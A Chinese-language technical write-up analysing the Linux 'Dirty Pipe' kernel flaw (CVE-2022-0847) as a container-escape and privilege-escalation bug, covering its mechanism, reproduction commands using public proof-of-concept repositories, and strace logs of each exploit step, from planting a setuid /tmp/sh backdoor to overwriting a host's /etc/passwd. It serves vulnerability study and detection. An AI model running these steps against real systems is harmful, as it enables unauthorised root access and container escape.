容器逃逸漏洞分析 DirtyPipe脏管 CVE-2022-0847

容器逃逸漏洞分析 CVE-2022-0847(dirtypipe)

一、漏洞基本信息

条目详情备注
发布日期2022-3-7
CVE-IDCVE-2022-0847
CVE Detailshttps://www.cvedetails.com/cve/CVE-2022-0847
攻击向量本地
影响范围Linux内核 [5.15,5.15.25]、Linux内核 [5.16,5.16.11]、Linux内核 [5.8,5.10.102]
修复版本Linux 内核 >= 5.16.11、Linux 内核 >= 5.15.25、Linux 内核 >= 5.10.102
CVSS7.8(高危)CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HCNVD-CVE20220847

二、漏洞简介

在 Linux 内核函数 copy_page_to_iter_pipe() 和 push_pipe() 中,如果没有正确初始化新建管道缓冲区结构的“flags”成员,则该值可能会留下上次创建管道残留的值。非特权本地用户可利用此漏洞写入只读文件的页面缓存,从而提升权限。

三、前置知识

pipe:管道

管道是一种进程间通信机制,可以用于连接两个文件描述符(fd),并在两端之间传输数据。

splice:文件与管道间数据拷贝

splice()可以在两个文件描述符之间移动数据,而不需要在内核地址空间和用户地址空间之间进行复制,作用是减小上下文切换的开销(零拷贝)。它将最多len字节的数据从fd1传输到fd2,其中一个文件描述符必须引用管道。

四、漏洞利用路径

  1. 准备工作
    1. 页面(su)原内容保存
    2. 脏管构建1:创建并写满管道(pipe_write),所有pipe_bufferflag 默认初始化为`PIPE_BUF_FLAG_CAN_MERGE,此标志告诉内核可以在不强制重写数据的情况下更新页面。
    3. 脏管构建2:清空管道(pipe_read),释放所有pipe_buffer,这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf 结构,即使用上一步留下的flag。
  2. 页面引用:调用splice(),引用待篡改的页面缓存。(相当于将脏管接到待写页)
  3. 页面篡改:继续向pipe写入内容,由于遗留的PIPE_BUF_FLAG_CAN_MERGE标志,该写入不会创建新的pipe_buffer, 而是直接写入到页面缓存中,完成篡改。
  4. 提权
    1. 创建后门:执行篡改后的su,创建后门(/tmp/sh)。
    2. 页面恢复:将保存的页面原内容依然利用脏管写入。
    3. 提权:执行后门,弹出root shell。

五、漏洞复现和行为数据分析

宿主OS:ubuntu 18.04

metarget版本(提权):

# 环境搭建
git clone https://github.com/Metarget/metarget.git && cd metarget
sudo apt update && sudo apt install -y python3-pip
sudo pip3 install -r requirements.txt
./metarget cnv install cve-2022-0847 --verbose
# 提权演示
whoami
#ubuntu
cd ~/metarget/writeups_cnv/kernel-cve-2022-0847/
gcc -o poc poc.c
./poc `which su`
whoami
#root

greenhandatsjtu版本(写宿主文件):

启动容器时设置CAP_DAC_READ_SEARCH权限,忽略文件读及目录搜索的 DAC 访问限制,才可以进行shocker攻击。

git clone https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape.git && cd CVE-2022-0847-Container-Escape
cp /etc/password . # back up /etc/password
gcc dp.c -o dp
docker run --rm -it -v $(pwd):/exp --cap-add=CAP_DAC_READ_SEARCH ubuntu 
/exp/dp /etc/passwd 1 ootz: # overwrite /etc/password on host from offset 1
/etc/dp /etc/passwd # dump /etc/passwd on host

行为数据分析

  1. 页面(su)原内容保存

    594622 04:29:51.018858 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000055>
    594622 04:29:51.018968 brk(NULL)        = 0x5601ecc66000 <0.000004>
    594622 04:29:51.018990 brk(0x5601ecc87000) = 0x5601ecc87000 <0.000049>
    594622 04:29:51.019107 lseek(3, 1, SEEK_SET) = 1 <0.000004>
    594622 04:29:51.019125 read(3, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000005>
    594622 04:29:51.019190 close(3)         = 0 <0.000008>
    
  2. 脏管构建1:创建并写满管道(pipe_write),这样所有pipe_bufferflag 默认初始化为PIPE_BUF_FLAG_CAN_MERGE

    104365 08:30:14.729762 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x26), ...}) = 0 <0.000005>
    104365 08:30:14.729784 write(1, "[+] hijacking suid binary..\n", 28) = 28 <0.000558>
    104365 08:30:14.730369 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000009>
    104365 08:30:14.730402 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000005>
    104365 08:30:14.730424 pipe([4, 5])     = 0 <0.000008>
    104365 08:30:14.730447 fcntl(5, F_GETPIPE_SZ) = 65536 <0.000005>
    104365 08:30:14.730466 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000009>
    104365 08:30:14.730490 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    ...
    104365 08:30:14.730510 write(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    
  3. 脏管构建2:清空管道(pipe_read),释放所有pipe_buffer,这样通过splice 系统调用传送文件的时候就会使用原有的初始化过的buf 结构,即使用上一步留下的flag。

    104365 08:30:14.730783 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000013>
    104365 08:30:14.730812 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    ...
    104365 08:30:14.730831 read(4, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    
  4. 页面引用:调用splice(),将指定偏移量前一个字节拼接到管道中,引用待篡改的页面缓存。

    104365 08:30:14.731082 splice(3, [0], 5, NULL, 1, 0) = 1 <0.000006>
    
  5. 页面篡改:继续向pipe写入内容,由于PIPE_BUF_FLAG_CAN_MERGE标志,该写入不会创建新的pipe_buffer, 而是直接写入到页面缓存中,完成篡改。

    104365 08:30:14.731102 write(5, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0@"..., 406) = 406 <0.000004>
    
  6. 提权

    1. 创建后门:执行篡改后的su,创建后门/tmp/sh
    594625 04:29:51.036901 execve("/usr/bin/su", ["/usr/bin/su"], 0x561a0783ab60 /* 18 vars */) = 0 <0.000210>
    594625 04:29:51.037261 open("/tmp/sh", O_WRONLY|O_CREAT|O_TRUNC, 000) = 3 <0.000137>
    594625 04:29:51.037537 write(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\2\0>\0\1\0\0\0x\0@\0\0\0\0\0"..., 186) = 186 <0.000105>
    594625 04:29:51.037757 close(3)         = 0 <0.000134>
    594625 04:29:51.038058 chmod("/tmp/sh", 04755) = 0 <0.000103>
    594625 04:29:51.038303 exit(0)          = ?
    
    1. 页面恢复:将保存的原页面内容依然利用脏管写入。
    594622 04:29:51.039382 openat(AT_FDCWD, "/usr/bin/su", O_RDONLY) = 3 <0.000008>
    594622 04:29:51.039414 fstat(3, {st_mode=S_IFREG|S_ISUID|0755, st_size=67816, ...}) = 0 <0.000004>
    594622 04:29:51.039435 pipe([6, 7])     = 0 <0.000008>
    594622 04:29:51.039458 fcntl(7, F_GETPIPE_SZ) = 65536 <0.000004>
    594622 04:29:51.039474 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000006>
    594622 04:29:51.039496 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    ...
    594622 04:29:51.039515 write(7, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    594622 04:29:51.040027 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000069>
    594622 04:29:51.040158 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000005>
    ...
    594622 04:29:51.041245 read(6, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 4096) = 4096 <0.000049>
    594622 04:29:51.041359 splice(3, [0], 7, NULL, 1, 0) = 1 <0.000006>
    594622 04:29:51.041382 write(7, "ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@@\0\0\0\0\0\0@"..., 406) = 406 <0.000009>
    594622 04:29:51.041446 close(3)         = 0 <0.000056>
    
    1. 提权:执行后门,弹出root shell。
    594627 04:29:51.055724 execve("/tmp/sh", ["/tmp/sh"], 0x563ae1a07b48 /* 18 vars */) = 0 <0.000176>
    594627 04:29:51.056034 setuid(0)        = 0 <0.000097>
    594627 04:29:51.056252 setgid(0)        = 0 <0.000098>
    594627 04:29:51.056459 execve("/bin/sh", ["/bin/sh"], 0x7ffd60da59a8 /* 0 vars */) = 0 <0.000166>
    

六、总结

本文详细分析了一个基于内核漏洞的经典容器逃逸漏洞(CVE-2022-0847),也就是著名的“脏管”漏洞,从理论分析漏洞利用路径到用strace采集具体的执行步骤,对该漏洞每一步的原理和行为进行剖析。该漏洞目前也有许多变种,后面也会继续分析(挖坑)。

七、参考链接

  1. https://dirtypipe.cm4all.com/
  2. https://haxx.in/files/dirtypipez.c
  3. https://github.com/Metarget/metarget/tree/master/writeups_cnv/kernel-cve-2022-0847
  4. https://github.com/chenaotian/CVE-2022-0847
  5. https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/blob/main/exploit.c
  6. https://github.com/liamg/traitor/blob/main/pkg/exploits/cve20220847/exploit.go
  7. https://github.com/greenhandatsjtu/CVE-2022-0847-Container-Escape
  8. CVE-2022-0847 “Dirty Pipe”漏洞复现及简要分析 - 先知社区 (aliyun.com)
  9. 乌特拉安全实验室丨DirtyPipe Linux 内核提权漏洞(CVE-2022-0847) - FreeBuf网络安全行业门户
  10. https://www.man7.org/linux/man-pages/man2/splice.2.html
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值